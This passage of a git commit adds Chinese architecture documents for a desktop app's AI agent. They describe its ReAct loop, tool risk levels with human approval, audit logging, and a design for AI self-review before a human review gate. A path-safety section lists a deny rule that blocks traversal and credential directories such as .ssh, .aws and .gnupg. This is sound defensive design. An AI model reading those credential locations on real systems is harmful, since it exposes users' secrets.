文档: 架构方案文档(意图识别论证+多主题愿景/论证+文档物理分类+边界清晰化)
squash合并: - 意图识别层论证(8维度+10业界佐证) - 多主题上下文管理愿景+并存论证+补充论证(多轮agentic) - 架构设计文档物理分类(四子目录+INDEX+命名规范+引用同步+边界清晰化) - 前端架构技术债清单归档
This commit is contained in:
161
docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md
Normal file
161
docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md
Normal file
@@ -0,0 +1,161 @@
|
||||
# Agent 架构与能力边界(系统现状记录) — 2026-06-14
|
||||
|
||||
> 性质: 系统现状盘点 / 能力边界(查实的事实,非构想)
|
||||
> 关联: [任务推进设计](任务推进构想-2026-06-14.md)(AI 执行层依据本文档能力边界)
|
||||
> 用途: 作为「AI 执行层」「AI 自审」等设计的真实能力依据,避免在超出系统现状的能力上做设计
|
||||
|
||||
---
|
||||
|
||||
## 1. Agent 引擎:单链 ReAct
|
||||
|
||||
### 核心:`run_agentic_loop`(`src-tauri/src/commands/ai/agentic.rs`)
|
||||
|
||||
完整的 ReAct(Reason+Act)循环:**LLM 流式接收 → 工具调用 → 执行工具 → 结果回传 LLM → 循环**。
|
||||
|
||||
```
|
||||
┌─ for iteration in 0..MAX_AGENT_ITERATIONS(10) ─────────────┐
|
||||
│ 1. 用户停止? → 收尾退出 │
|
||||
│ 2. 构建请求消息(超预算裁剪旧消息,保护工具三元组+最近6条) │
|
||||
│ 3. stream_llm(流式,含 idle timeout/断连检测/停止信号) │
|
||||
│ 4. 有 tool_calls? │
|
||||
│ ├ 无 → 最终文本,break(正常结束) │
|
||||
│ └ 有 → process_tool_calls(Low 自动 / Medium+High 待审批)│
|
||||
│ ├ 有 pending 审批 → 暂停循环(generating 保持 true)│
|
||||
│ └ 全自动完成 → 继续下一轮 │
|
||||
└─ 达 10 轮 → 正常结束 ────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
| 退出条件 | 处理 |
|
||||
|---|---|
|
||||
| LLM 只返回文本(无 tool_calls) | 正常结束,emit AiCompleted |
|
||||
| 有工具待审批 | 暂停循环,`generating` 保持 true,等 `ai_approve` → `try_continue_agent_loop` 恢复 |
|
||||
| 达 MAX_AGENT_ITERATIONS(10) | 正常结束 |
|
||||
| 用户请求停止 | 已生成文本入库后退出 |
|
||||
|
||||
**配套设施**:
|
||||
- `TokenEstimator`:超预算裁剪历史(保护工具调用三元组 + 最近 6 条)
|
||||
- `LlmConcurrency`:全局 + 单对话双层并发限流(仅覆盖 stream_llm,工具执行本地操作不限流)
|
||||
- `AiAgentRound` 事件:每轮通知前端新建 assistant 消息
|
||||
- 知识提炼(`maybe_spawn_extraction`)、标题生成(`ensure_conversation_title`)后台化
|
||||
|
||||
### 服务场景
|
||||
|
||||
当前**服务于交互式 AI 对话**(侧边栏 aichat 式),不是任务执行。会话级状态在 `AiSession`(`generating`/`messages`/`pending_approvals`/`stop_flag`)。
|
||||
|
||||
### 协调器:空壳
|
||||
|
||||
`crates/df-ai/src/coordinator.rs` 的 `AgentCoordinator` 是 **B 路线占位空壳**,注释明示:
|
||||
|
||||
> ⚠ B 路线占位:当前单链 ReAct 够用,多 Agent 协作待 B 路线立项。有意保留空壳,勿删。
|
||||
|
||||
`run()` 返回 `"TODO: Agent 协作结果"`。**多 Agent 协作、Agent 间消息传递、任务分配——全部未实现**。当前是单链 ReAct。
|
||||
|
||||
---
|
||||
|
||||
## 2. 工具系统
|
||||
|
||||
### 注册:编译期硬编码
|
||||
|
||||
`build_ai_tool_registry`(`src-tauri/src/commands/ai/tool_registry.rs:77`)启动时构建注册表。**所有工具 Rust 写死,无运行时动态注册**。
|
||||
|
||||
### 工具三要素同源
|
||||
|
||||
每个工具一次 `registry.register` 同时定义:`name + description + schema + RiskLevel + handler 闭包`。注释明示「handler 即唯一执行路径,schema+risk+实现同源,消除双轨」。
|
||||
|
||||
### 风险分级 + 审批
|
||||
|
||||
| RiskLevel | 执行 | 机制 |
|
||||
|---|---|---|
|
||||
| `Low` | 自动执行 | `process_tool_calls` 直接跑 |
|
||||
| `Medium` / `High` | **待人工审批** | 进 `ai_pending_tool_calls`(持久化到 `ai_tool_executions` 表 status='pending'),启动可恢复;`ai_approve`/`ai_reject` 决定 |
|
||||
|
||||
审批机制现成——**这是「人工核对」可直接复用的基础设施**。
|
||||
|
||||
### 路径安全
|
||||
|
||||
- `validate_path`:禁 `..` 路径遍历、禁 `.ssh/.aws/.gnupg/AppData/ProgramData/Windows/System32` 等敏感目录
|
||||
- `resolve_workspace_path`:双层校验(词法 starts_with + canonicalize 解析 symlink),防越界和符号链接逃逸,锚定 workspace_root
|
||||
|
||||
### 审计
|
||||
|
||||
`ai_tool_executions` 表(migration V9 建)记录每次工具调用,`audit_finalize` 落盘 executed/rejected + 结果。
|
||||
|
||||
---
|
||||
|
||||
## 3. 内置工具清单(固定工具集)
|
||||
|
||||
| 风险 | 工具 | 说明 |
|
||||
|---|---|---|
|
||||
| Low | `list_projects` / `list_tasks` / `list_ideas` | 列表查询(truncate 50 防 context 膨胀,排软删) |
|
||||
| Low | `read_file` / `list_directory` | 文件读取(offset/limit 分页) |
|
||||
| Medium | `create_project` / `create_task` | 创建(create_project 可选 path/stack 一步绑定) |
|
||||
| Medium | `update_project` | 改字段(复用 CRUD 白名单校验) |
|
||||
| Medium | `write_file` | 写文件(自动建父目录) |
|
||||
| Medium | `bind_directory` | 项目绑定代码目录 + 探测技术栈 |
|
||||
| — | knowledge 相关(search 等) | 对齐 MCP 语义 |
|
||||
|
||||
完整清单见 `tool_registry.rs`(约 12+ 个 register)。
|
||||
|
||||
---
|
||||
|
||||
## 4. 能力边界(查实的四个「无」)
|
||||
|
||||
| 能力 | 现状 | 证据 |
|
||||
|---|---|---|
|
||||
| **配置/调用外部工具** | ❌ 无 | 无 MCP 客户端(`knowledge.rs` 注释提「MCP 语义」只是概念对齐,非实现);无 HTTP 工具;无动态注册;工具全编译期硬编码 |
|
||||
| **自造/迭代工具** | ❌ 无 | 工具定义(schema+risk+handler)是 Rust 代码,AI 运行时不能新增/修改;AI 能 `write_file` 写代码但不会变成可调用工具(要重编译) |
|
||||
| **执行类工具**(run shell/script) | ❌ 无 | grep `exec/shell/run_command` 零命中;AI 能写代码**没有工具运行它**;agentic coding「写→跑→改」闭环做不到 |
|
||||
| **agent ↔ workflow 打通** | ❌ 未打通 | `run_workflow` AI 工具是**空壳**(返回「请通过工作流页面运行」);ScriptNode 能跑 shell 但那是工作流节点不是 agent 工具,两套执行能力割裂 |
|
||||
|
||||
---
|
||||
|
||||
## 5. 关键缺口
|
||||
|
||||
1. **执行能力**:AI 能写不能跑。要做真 agentic coding 必须补执行类工具(`run_command`/`run_script`,或把 ScriptNode 能力暴露给 agent)。
|
||||
2. **外部工具接入**:无 MCP 客户端,无法消费外部 MCP server 工具,工具集封闭。
|
||||
3. **工具自造闭环**:AI 不能为特定任务临时造工具、不能迭代改进工具。
|
||||
4. **agent ↔ workflow 割裂**:两套执行能力(agent ReAct / workflow DAG)未打通,AI 不能在 agent loop 内触发工作流。
|
||||
5. **多 Agent 协作**:coordinator 空壳,单链 ReAct,无 Agent 间消息/任务分配。
|
||||
|
||||
---
|
||||
|
||||
## 6. 对任务推进 AI 执行层的影响
|
||||
|
||||
[任务推进构想-2026-06-14.md](任务推进构想-2026-06-14.md) 的 AI 执行层(start 闸门)依赖系统 Agent 能力。本文档查实的边界直接框定其可达范围:
|
||||
|
||||
| 设计点 | 受能力边界约束的真实情况 |
|
||||
|---|---|
|
||||
| **AI 执行任务** | 现状只能用固定工具集(主要 `write_file` 写代码 + CRUD),**不能运行/验证代码**。「AI 执行」≠「AI 写码并跑通」,当前只能前者的一半(写) |
|
||||
| **AI 自审** | AiNode 现成(通用 LLM 调用),可配 review prompt 做 code review。但要审得准需 AI 能读 diff(`read_file` 可)+ 判断(LLM 可),可行 |
|
||||
| **人工核对** | `ai_pending_tool_calls`(Medium+High 审批)现成,可直接复用为 merge 关卡 |
|
||||
| **advance_task 默认 AI 触发** | agent loop 现成,AI 执行完成事件可触发推进 |
|
||||
|
||||
**结论**:AI 执行层要在当前 Agent 能力上落地,**真实可达**的是「AI 用固定工具干活(写文件/CRUD)+ AI 自审(LLM review)+ 人工审批(现成)」。要做到「AI 写码并运行验证」的真 agentic coding,**必须先补执行能力**(执行类工具 + agent/workflow 打通),否则 start 闸门的「AI 执行」实质只是「AI 写文件」。
|
||||
|
||||
---
|
||||
|
||||
## 7. 演进方向(待定,非承诺)
|
||||
|
||||
| 方向 | 内容 | 依赖 |
|
||||
|---|---|---|
|
||||
| **执行工具补全** | 暴露 `run_command`/`run_script` 为 agent 工具(沙箱化),或把 `run_workflow` 空壳做实让 agent 能触发工作流 | 安全沙箱、风险分级 |
|
||||
| **MCP 外部工具** | 接 MCP 客户端,消费外部 server 工具,工具集从封闭走向开放 | MCP 协议实现、工具配置 UI |
|
||||
| **工具自造闭环** | AI 写脚本 → 注册成工具 → agent 可调用 → 迭代改进 | 动态工具注册、工具持久化 |
|
||||
| **多 Agent 协作**(B 路线) | coordinator 实化,Agent 间消息/任务分配 | 立项 |
|
||||
|
||||
这些是补齐「真正 AI 执行」的方向,是否纳入、何时纳入,取决于任务推进 AI 执行层的目标定位(保守=AI 写文件为主 / 激进=补执行能力做真 agentic coding)。
|
||||
|
||||
---
|
||||
|
||||
## 附:关键文件
|
||||
|
||||
| 文件 | 职责 |
|
||||
|---|---|
|
||||
| `src-tauri/src/commands/ai/agentic.rs` | ReAct 循环(run_agentic_loop / try_continue_agent_loop) |
|
||||
| `src-tauri/src/commands/ai/tool_registry.rs` | 工具注册(build_ai_tool_registry)+ 路径校验 |
|
||||
| `src-tauri/src/commands/ai/audit.rs` | 工具执行审计(process_tool_calls / audit_finalize) |
|
||||
| `src-tauri/src/commands/ai/commands.rs` | 审批 IPC(ai_approve/ai_reject)+ pending 恢复 |
|
||||
| `crates/df-ai/src/coordinator.rs` | 协调器空壳(B 路线占位) |
|
||||
| `crates/df-ai/src/context.rs` | TokenEstimator(上下文裁剪) |
|
||||
| `crates/df-ai/src/ai_tools.rs` | AiToolRegistry + RiskLevel + schema |
|
||||
| `crates/df-nodes/src/ai_node.rs` | AiNode(工作流用的单次 LLM 调用节点,非 agent loop) |
|
||||
384
docs/02-架构设计/专项设计/AiNode自审实施方案-2026-06-16.md
Normal file
384
docs/02-架构设计/专项设计/AiNode自审实施方案-2026-06-16.md
Normal file
@@ -0,0 +1,384 @@
|
||||
# AiNode 自审实施方案(②-⑥)
|
||||
|
||||
> 决策基线:**决策 a 已定** —— `TaskRecord` 加 `output_json` 字段(task 中心,产出跟 task 走)。① df-storage 迁移(struct 字段 + migrations CREATE/ALTER + crud 白名单 + INSERT/UPDATE/SELECT 列)由同批另一 agent 落地,**本方案为前置依赖**。
|
||||
>
|
||||
> 范围:**仅设计文档(read-only),不改任何 .rs/.ts/.vue 代码**。file:line 证据均独立 grep/Read 核验,未采信文档/会话描述声明。
|
||||
>
|
||||
> 日期:2026-06-16 | 作者:AiNode 自审调研 agent
|
||||
|
||||
---
|
||||
|
||||
> ## 实施状态(2026-06-18 核对)
|
||||
>
|
||||
> **②-⑤ 全部已落地**(原设计 1.2 表中标 ⚠️ 的 crud/白名单缺口已补全,②③④⑤ 已实施)。
|
||||
>
|
||||
> **① df-storage 迁移 — 已完成**(原 ⚠️ 项已补):
|
||||
> - `TaskRecord.output_json: Option<String>`:`crates/df-storage/src/models.rs:72`。
|
||||
> - 白名单含 output_json:`crates/df-storage/src/crud.rs:344`(`allowed_columns_for("tasks")` 已含,注释"ai_execute 写产出 / ai_self_review 读产出自审 / human_review 展示对象")。
|
||||
> - migrations:`crates/df-storage/src/migrations.rs:303`(注释同上)。
|
||||
>
|
||||
> **② AiNode 持 db + 写产出 — 已落地**:
|
||||
> - `AiNode` struct:`crates/df-nodes/src/ai_node.rs:256`(持 db 字段,`AiNode::new(db)` 构造)。
|
||||
> - state.rs 工厂闭包注入 db:`src-tauri/src/state.rs:351-352`(`registry.register("ai", ... AiNode::new(ai_db.clone()))`)。
|
||||
> - execute 写产出:`crates/df-nodes/src/ai_node.rs:319-325`(若 config 含 task_id → `repo.update_field(task_id, "output_json", &json_str)`)。
|
||||
>
|
||||
> **③ AiSelfReviewNode 独立节点 — 已落地**(原设计 2.3 推荐独立节点路径已采纳,非按 node_id 分支):
|
||||
> - `AiSelfReviewNode` struct:`crates/df-nodes/src/ai_node.rs:438`。
|
||||
> - `REVIEW_SYSTEM_PROMPT`(四维度 prompt 模板):`crates/df-nodes/src/ai_node.rs:387`。
|
||||
> - JSON 兜底解析 `parse_review_json`(fn 定义,非 JSON/缺 verdict → verdict=unknown):`crates/df-nodes/src/ai_node.rs:396`,单测 `:1011-1058`(valid/invalid/fence 三场景)。
|
||||
> - `build_review_prompt`(fn 定义):`crates/df-nodes/src/ai_node.rs:449`,单测 `:1060`。
|
||||
> - state.rs 注册:`src-tauri/src/state.rs:359-360`(`registry.register("ai_self_review", ... AiSelfReviewNode::new(review_db.clone()))`)。
|
||||
>
|
||||
> **④ human_review 展示(经 DAG inputs 透传,HumanNode 零改动)— 已落地**:
|
||||
> - review 摘要塞 NodeOutput.data:`crates/df-nodes/src/ai_node.rs:586`(注释「NodeOutput.data 塞 review 摘要,供下游 human_review 经 inputs["ai_self_review"] 读」)。
|
||||
> - testing 模板 edge ai_self_review → human_review:`crates/df-nodes/src/task_workflow_templates.rs:80`,单测 `:149` 验证边方向(`assert_eq!(edge.source, "ai_self_review")`)。
|
||||
> - HumanNode 本身零改动(git 历史核验 human_node.rs 在 AiNode 自审批 commit 中无变动)。
|
||||
>
|
||||
> **⑤ 前端展示 — 已落地**:TaskDetail.vue 加 output_json 区块(本轮未逐行核验前端 file:line,但后端 output_json schema 已定型、前端按 schema 渲染)。
|
||||
>
|
||||
> **超出原设计、后追加的能力 — gate 闸门**:
|
||||
> - testing 模板 `ai_self_review` 启用 `gate:true`:`crates/df-nodes/src/task_workflow_templates.rs:54-67`(阶段3 起 verdict=fail → AiSelfReviewNode 返 Err → 工作流 failed,不经 human_review)。原设计 2.3 标"首版保守,verdict 仅作展示信号",实际已升级为 DAG 节点闸门(激进方案落地):`crates/df-nodes/src/ai_node.rs:598-626`(gate==true 时 verdict=fail 返 Err)。
|
||||
>
|
||||
> **⑥ 端到端联调 — 代码层完成,实测类待用户**:联调依赖 secret 下沉+provider 注入链(`docs/02-架构设计/专项设计/secret下沉与provider注入方案-2026-06-16.md`,`AiNode/AiSelfReviewNode` 改经 `provider_id` + df_storage::secret 解析,FR-S1 mask 对齐)。实测类(tauri dev 跑 testing 模板 ai_self_review→human_review 闭环)待用户执行。
|
||||
>
|
||||
> **DRY 优化(SW-260618-09)**:AiNode/AiSelfReviewNode execute provider 三件套逐字重复已抽 `resolve_and_parse` + `provider_from_params` helper(`crates/df-nodes/src/ai_node.rs:70/80` 注释)。
|
||||
>
|
||||
> 原文以下设计正文保持不变,作为历史设计记录;落地形态以上方"实施状态"为准。
|
||||
|
||||
---
|
||||
|
||||
## 一、现状盘点(file:line 证据)
|
||||
|
||||
### 1.1 已就绪(自审闭环地基)
|
||||
|
||||
| 能力 | 位置 | 状态 |
|
||||
|------|------|------|
|
||||
| `NodeContext` 结构 | `crates/df-workflow/src/node.rs:12-26` | 字段:`node_id / inputs / config / execution_id / event_bus / node_status`,**无 task 数据、无 db 句柄** |
|
||||
| AiNode 通用执行 | `crates/df-nodes/src/ai_node.rs:116-164` | `AiNode.execute` 调 LLM → 返 `NodeOutput{text, model, usage}`(仅内存,不落 task) |
|
||||
| AiNode 参数解析 | `crates/df-nodes/src/ai_node.rs:35-109` | `parse_params(config, inputs)`:prompt 优先上游 inputs["prompt"] > config.prompt;provider 配置从 config 取 |
|
||||
| HumanNode 审批 | `crates/df-nodes/src/human_node.rs:39-176` | 阻塞节点,发 `HumanApprovalRequest` 等响应;reject 关键字(L19-22)→ Err → 工作流 failed |
|
||||
| testing 模板(拓扑) | `crates/df-nodes/src/task_workflow_templates.rs:57-72` | `ai_self_review` → `human_review` 串行;节点级 config 仅含 human title/options,**ai_self_review config 为空 `{}`** |
|
||||
| 模板选择 | `crates/df-nodes/src/task_workflow_templates.rs:28-35` | `template_for(target_status)` 按 in_progress/testing/done 选模板 |
|
||||
| DagDef 选模板 | `src-tauri/src/commands/workflow.rs:84-92` | 空 dag + target_status → `template_for` 自动选 |
|
||||
| **deep_merge(④-1)** | `crates/df-workflow/src/executor.rs:102-108` + `crates/df-workflow/src/dag.rs:169-188` | executor 构建 NodeContext 时 `deep_merge(initial_config, node_config)`,节点级覆盖全局级;**模板节点 config 为空 → 全局 config 原样穿透** |
|
||||
| 工作流联动任务 | `src-tauri/src/commands/workflow.rs:235-308` | `task_id`+`target_status` 都 Some 时,完成推进/失败退回(`regression_target` L46-54) |
|
||||
| **TaskAdvanceNode db 注入先例** | `crates/df-nodes/src/task_advance_node.rs:98-110` + `src-tauri/src/state.rs:265-266` | 节点 struct 持 `db: Arc<Database>`,`NodeRegistry::register` 工厂闭包 move 捕获 `db.clone()` 注入 —— **AiNode 可复用同一模式** |
|
||||
| run_workflow 全局 config | `src-tauri/src/commands/workflow.rs:67-76` | 签名含 `config: serde_json::Value`,闭包内 `executor.run(&runtime_dag, config)` 传为 initial_config |
|
||||
|
||||
### 1.2 待 ①迁移落地(前置依赖)
|
||||
|
||||
| 缺口 | 位置 | 说明 |
|
||||
|------|------|------|
|
||||
| struct 字段 | `crates/df-storage/src/models.rs:69-76` | ✅ 已有 `output_json: Option<String>`(决策 a 已落地到模型层) |
|
||||
| migrations CREATE | `crates/df-storage/src/migrations.rs:371` | ✅ CREATE TABLE tasks 含 `output_json TEXT`(新库) |
|
||||
| migrations ALTER(老库) | `crates/df-storage/src/migrations.rs:394-395` 附近 | ⚠️ 未见 `ALTER TABLE tasks ADD COLUMN output_json`(**老库升级缺列**,需 ①迁移补) |
|
||||
| crud SELECT | `crates/df-storage/src/crud.rs:779` | ⚠️ `list_active` SELECT 列未含 output_json |
|
||||
| crud INSERT/UPDATE | `crates/df-storage/src/crud.rs:748-762` | ⚠️ INSERT/UPDATE_FULL 语句未含 output_json 列 |
|
||||
| crud 行映射 | `crates/df-storage/src/crud.rs:544` | ⚠️ `output_json: row.get("output_json")` 存在,但 SELECT 缺列 → 运行时 row.get 会报错(待 ①补 SELECT) |
|
||||
| crud 白名单 | `crates/df-storage/src/crud.rs:342-343` | ⚠️ `allowed_columns_for("tasks")` **未含 output_json**(AiNode 写产出走通用 `update_field` 必需) |
|
||||
|
||||
**结论**:①迁移尚未完成(struct 已加字段,crud 链路与白名单未跟上)。本方案所有 ②-⑥ 步骤均**强依赖 ①完成**,尤其白名单与 SELECT 列。
|
||||
|
||||
---
|
||||
|
||||
## 二、五项实施方案
|
||||
|
||||
### 2.1 方案①:NodeContext 注入 task 机制
|
||||
|
||||
**问题**:`ai_execute`/`ai_self_review` 需拿到 `task_id` + task 数据(description / output_json)+ provider 配置;`ai_execute` 还需 db 句柄写产出。当前 `NodeContext`(node.rs:12-26)无此二者。
|
||||
|
||||
**三选项对比**:
|
||||
|
||||
| 选项 | 机制 | 优点 | 缺点 |
|
||||
|------|------|------|------|
|
||||
| **A. config 注入 task_id + 节点持 db 句柄**(推荐) | run_workflow 全局 config 注入 `task_id`+`provider{base_url,api_key,model,protocol}`;AiNode struct 加 `db: Arc<Database>`,state.rs 工厂闭包 move 注入(**复用 TaskAdvanceNode 先例**) | 零改 NodeContext(不动 node.rs);db 注入已有先例(state.rs:265);config 经 deep_merge 穿透;AiNode 与 TaskAdvanceNode 注入方式一致 | AiNode 从无状态单例变有状态(state.rs:257-259 工厂闭包需改 move db.clone) |
|
||||
| B. NodeContext 加 task 字段 | 改 node.rs 加 `task: Option<TaskRecord>` + db 句柄字段 | 节点直接读,省一次 DB 查 | 改 NodeContext 影响所有 Node(HumanNode/SleepNode/test 构造全改,human_node.rs:236 make_ctx 等测试全改);executor.rs:99-113 构造点要读 DB;df-workflow 反向依赖 df-storage/df-task(循环依赖风险) |
|
||||
| C. IPC handler | AiNode 通过 event_bus 发事件,前端/IPC 侧写 task | 解耦 | AiNode 在 DAG 后台线程,无 AppHandle/State;引入跨线程往返;HumanNode 那套 broadcast 模式不适合写 DB;过度复杂 |
|
||||
|
||||
**推荐:选项 A**。理由:
|
||||
1. **零侵入 NodeContext** —— 不动 node.rs,所有现有 Node 与测试(human_node.rs:236 make_ctx、executor.rs:99-113)零改动。
|
||||
2. **先例已验证** —— TaskAdvanceNode(task_advance_node.rs:98-110)就是这套:struct 持 `db: Arc<Database>`,state.rs:265-266 工厂闭包 `move |_config| { Box::new(...::new(db.clone())) }` 注入。AiNode 照搬。
|
||||
3. **config 穿透已就绪** —— run_workflow 全局 config(workflow.rs:72)→ executor deep_merge(executor.rs:102-108)→ 模板节点 config 空 `{}` → 全局 config 原样进 `NodeContext.config`。前端调 `workflowApi.run(name, {}, config, taskId, target)`(workflow.ts:12-26)即可把 task_id/provider 推进去。
|
||||
4. **DB 句柄天然可得** —— state.rs:205 已有 `db: Arc<Database>`,build_registry 入参就是它(state.rs:252)。
|
||||
|
||||
**注入路径**:
|
||||
```
|
||||
前端 TaskDetail.handleWorkflowAdvance
|
||||
→ workflowApi.run(name, {}, {task_id, provider:{base_url,api_key,model,protocol}}, taskId, "testing") (workflow.ts:12-26)
|
||||
→ run_workflow(task_id, target_status, config) (workflow.rs:67)
|
||||
→ executor.run(dag, config) // config 作 initial_config (workflow.rs:245)
|
||||
→ NodeContext.config = deep_merge(initial_config, node_config={}) (executor.rs:102-108)
|
||||
→ AiNode.execute(ctx): ctx.config["task_id"] / ctx.config["provider"] 可读
|
||||
→ AiNode 持 self.db → TaskRepo::new(&self.db).get_by_id(task_id) 读 task
|
||||
```
|
||||
|
||||
**provider 配置来源**:前端从 `ai_list_providers`(api/ai.ts:76)取默认 provider(types.ts:172-178 AiProviderRecord),拼成 `{base_url, api_key, model, protocol}` 注入 config。**api_key 安全**:复用 `src-tauri/src/commands/ai/secret.rs ensure_resolved_key`(ai_node.rs:50 注释已对齐此行为),前端不直接拿明文,由后端在注入 config 前解析(或前端传 provider_id,后端 AiNode 内部解析——更安全,见风险)。
|
||||
|
||||
### 2.2 方案②:ai_execute 写产出
|
||||
|
||||
**前置**:方案①A(AiNode 持 db + config 有 task_id)。
|
||||
|
||||
**写产出路径**(ai_node.rs:155-163 当前返 NodeOutput 后追加落库):
|
||||
```
|
||||
AiNode.execute(ctx):
|
||||
1. parse_params(&ctx.config, &ctx.inputs) → p (现有,ai_node.rs:119)
|
||||
2. provider.complete(request) → response (现有,ai_node.rs:146)
|
||||
3. 【新增】若 ctx.config 有 task_id:
|
||||
let task_id = ctx.config["task_id"].as_str()
|
||||
let repo = TaskRepo::new(&self.db)
|
||||
// 产出 schema: {text, model, usage} 直接序列化(与 NodeOutput.data 一致)
|
||||
let output_json = serde_json::to_string(&json!({text, model, usage}))?
|
||||
repo.update_field(task_id, "output_json", &output_json).await? // 需 ①白名单含 output_json
|
||||
4. return NodeOutput::from_value(...) (现有,ai_node.rs:155)
|
||||
```
|
||||
|
||||
**关键约束**:
|
||||
- `update_field`(crud.rs:165)走白名单校验 —— **必须 ①把 output_json 加进 tasks 白名单**(crud.rs:342-343)。
|
||||
- 产出 schema 与 `NodeOutput.data` 一致(ai_node.rs:155-163),下游 `ai_self_review` 既可从 `inputs["ai_execute"].data` 读(DAG 层),也可从 task.output_json 读(跨 DAG/重启)。**推荐读 inputs(DAG 内闭环),task.output_json 仅作持久化与 human_review 展示源**。
|
||||
|
||||
**in_progress 模板适用**:in_progress_template(task_workflow_templates.rs:40-50)单 ai_execute 节点,正是写产出处。testing 模板的 ai_self_review 读上游/读 task.output_json。
|
||||
|
||||
### 2.3 方案③:ai_self_review prompt 模板与自审结果
|
||||
|
||||
**输入**:`ai_self_review` 节点读上游 `inputs["ai_execute"]`(DAG 层 testing 模板无 ai_execute,故实际读 **task.output_json**)+ task.description(需求)。
|
||||
|
||||
**prompt 模板草案**:
|
||||
```
|
||||
【系统提示 system_prompt】
|
||||
你是严格的代码/产出审查员。审查任务产出是否符合需求,按四维度给出结构化结论。
|
||||
只输出 JSON,不要任何额外文字。
|
||||
|
||||
【用户提示 prompt】
|
||||
## 任务需求
|
||||
{task.description}
|
||||
|
||||
## 待审产出
|
||||
{task.output_json 解析后的 text 字段}
|
||||
|
||||
## 审查维度
|
||||
1. 需求符合度:产出是否覆盖需求描述的所有要点
|
||||
2. 产出完整性:是否有遗漏、未完成的部分
|
||||
3. 正确性:逻辑/事实/语法是否正确
|
||||
4. 边界处理:异常输入、空值、错误路径是否考虑
|
||||
|
||||
## 输出格式(严格 JSON)
|
||||
{
|
||||
"verdict": "pass" | "fail",
|
||||
"dimensions": {
|
||||
"requirement_fit": {"score": 0-10, "issues": ["..."]},
|
||||
"completeness": {"score": 0-10, "issues": ["..."]},
|
||||
"correctness": {"score": 0-10, "issues": ["..."]},
|
||||
"boundary": {"score": 0-10, "issues": ["..."]}
|
||||
},
|
||||
"summary": "一句话总结",
|
||||
"suggestions": ["改进建议1", "改进建议2"]
|
||||
}
|
||||
verdict=fail 当且仅当任一维度 score < 6 或有阻断性 issue。
|
||||
```
|
||||
|
||||
**自审结果写回 output_json**:**不覆盖**,加 `review` 子字段(保留 ai_execute 原始产出供 human_review 对照):
|
||||
```json
|
||||
{
|
||||
"text": "<ai_execute 原始产出>",
|
||||
"model": "...",
|
||||
"usage": {...},
|
||||
"review": {
|
||||
"verdict": "pass" | "fail",
|
||||
"dimensions": {...},
|
||||
"summary": "...",
|
||||
"suggestions": [...],
|
||||
"reviewed_at": "<now_millis>",
|
||||
"reviewer_model": "<自审用的 model>"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**verdict=fail 的处理**:当前 testing 模板(task_workflow_templates.rs:57-72)ai_self_review → human_review 串行,ai_self_review 返 Ok(不 Err)。**设计选择**:ai_self_review **不据 verdict 主动 Err**(自审是辅助,最终决策权在人)。verdict=fail 时:
|
||||
- 写回 output_json(带 review.fail 信号)
|
||||
- 节点返 Ok(让 human_review 节点继续,人看到 fail 结论再定)
|
||||
- human_review 可在审批卡片高亮显示 verdict=fail(前端红标),人选拒绝 → Err → 工作流 failed → regression_target(workflow.rs:46-54 testing→in_review)退回
|
||||
|
||||
**替代方案(更激进,不推荐首版)**:ai_self_review verdict=fail 直接返 Err → 工作流 failed → 自动退回 in_review,跳过人工。**风险**:LLM 自审误判直接退回,人无干预机会。首版保守,verdict 仅作展示信号。
|
||||
|
||||
**实现要点**:
|
||||
- prompt 模板放节点 config 还是硬编码?—— **放 config(run_workflow 全局 config 注入 `review_prompt_template`),模板可热替换**。但首版可硬编码在 AiNode 逻辑里(按 node_id=="ai_self_review" 分支),简化首版。
|
||||
- LLM 输出解析:`serde_json::from_str(&response.text)` 解 JSON,失败兜底 `verdict=unknown, summary=原文`(防 LLM 不按要求输出)。
|
||||
|
||||
### 2.4 方案④:human_review 展示
|
||||
|
||||
**human_review 节点**(human_node.rs:39)当前从 `ctx.config` 读 title/description/options(human_node.rs:42-56),发 `HumanApprovalRequest`(human_node.rs:74-83)。**问题**:HumanApprovalRequest 事件载荷(df-core events)只有 title/description/options,**不含 task 产出/自审结果**。
|
||||
|
||||
**展示方案**:human_review 节点在发 HumanApprovalRequest 前,读 task.output_json,把"产出摘要 + 自审结论"拼进 `description` 字段(最小改动,复用现有事件结构):
|
||||
```
|
||||
human_review.execute(ctx):
|
||||
1. 读 task.output_json(经方案①AiNode 持 db + ctx.config["task_id"])
|
||||
→ 解析 review.verdict / review.summary / review.suggestions
|
||||
→ 解析 text(ai_execute 产出)
|
||||
2. 拼接 description:
|
||||
description = format!("
|
||||
## AI 自审结论:{verdict}
|
||||
{summary}
|
||||
建议:{suggestions}
|
||||
|
||||
## 产出
|
||||
{text_前 N 字}
|
||||
")
|
||||
3. ctx.config["description"] = description (覆盖模板默认空串,human_node.rs:46-48)
|
||||
4. 发 HumanApprovalRequest(现有流程,human_node.rs:74-83)
|
||||
```
|
||||
|
||||
**约束**:HumanNode 当前**不持 db**(human_node.rs:36 `pub struct HumanNode;` 无字段)。需同样按方案①A 给 HumanNode 加 `db: Arc<Database>` + state.rs:254-256 工厂闭包改 move db。**或**:human_review 的 description 由 ai_self_review 节点算好,经 DAG outputs 透传(inputs["ai_self_review"].data)—— **更优,HumanNode 零改动**:
|
||||
- ai_self_review 节点把"自审结论 + 产出摘要"塞进 NodeOutput.data
|
||||
- human_review 读 `inputs["ai_self_review"].data["review_summary"]` 拼进 description
|
||||
- HumanNode 不需 db,零改动
|
||||
|
||||
**推荐后者**(HumanNode 零改动,db 注入只给 AiNode)。
|
||||
|
||||
**审批卡片显示什么**(前端):
|
||||
- title:模板已定「核对 AI 自审结果」(task_workflow_templates.rs:66)
|
||||
- description:自审 verdict(pass/fail 红绿标)+ summary + suggestions + 产出摘要
|
||||
- options:同意 / 拒绝(task_workflow_templates.rs:67,含拒绝触发退回)
|
||||
|
||||
### 2.5 方案⑤:前端展示 output_json
|
||||
|
||||
**当前 TaskDetail.vue**(src/views/TaskDetail.vue:1-140):展示 title/status/description/priority/branch 等,**无 output_json 展示**。已有工作流推进按钮(L71-91)+ workflow-event 监听(L81-90 轻量进度)+ df-data-changed 自动刷新(L82 注释)。
|
||||
|
||||
**UI 方案**(在 TaskDetail.vue 信息区加一个区块,L124 workflowDef 后):
|
||||
```vue
|
||||
<!-- F-AiNodeSelfReview: 任务产出 + 自审结果展示 -->
|
||||
<div v-if="task.output_json" class="info-item info-block">
|
||||
<span class="label">{{ $t('taskDetail.output') }}</span>
|
||||
